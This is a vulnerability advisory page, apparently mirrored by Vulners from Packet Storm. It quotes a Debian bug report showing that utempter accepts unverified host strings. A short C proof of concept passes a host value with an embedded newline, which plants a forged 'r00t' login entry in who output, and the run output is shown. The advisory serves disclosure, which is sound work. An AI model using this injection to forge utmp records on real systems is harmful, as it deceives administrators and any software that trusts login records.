Lucene search
K

Utempter Fake Entry Manipulation

🗓️ 06 Oct 2012 00:00:00Reported by Paul SzaboType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

Utempter Verification Vulnerability in Debia

Code
`Quoting from   
http://bugs.debian.org/689562  
  
Utempter does not (cannot?) verify the setting of host, so it can easily  
be faked. This may affect any software that depend on utmp correctness.  
  
Demo of the issue:  
  
psz@bari:~$ cat silly.c  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
#include <unistd.h>  
#include <stdio.h>  
int main()  
{  
int i;  
i = open("/dev/ptmx", O_RDWR);  
printf("open ptmx returned %d\n", i);  
dup2(i, 0);  
/* dup2(i, 1); */  
printf("doing utempter add\n");  
system("/usr/lib/utempter/utempter add 'xyz)\nr00t pts/0 Jan 1 01:02 (xyz.com'");  
printf("checking who\n");  
system("who | grep xyz");  
printf("doing utempter del\n");  
system("/usr/lib/utempter/utempter del");  
printf("checking who\n");  
system("who | grep xyz");  
printf("DONE\n");  
}  
psz@bari:~$ cc silly.c; a.out  
open ptmx returned 3  
doing utempter add  
checking who  
psz pts/29 Oct 4 11:48 (xyz)  
r00t pts/0 Jan 1 01:02 (xyz.com)  
doing utempter del  
checking who  
DONE  
psz@bari:~$   
  
Please see also:  
http://bugs.debian.org/329156  
http://bugs.debian.org/330907  
  
Cheers, Paul  
  
Paul Szabo [email protected] http://www.maths.usyd.edu.au/u/psz/  
School of Mathematics and Statistics University of Sydney Australia  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Oct 2012 00:00Current
0.5Low risk
Vulners AI Score0.5
36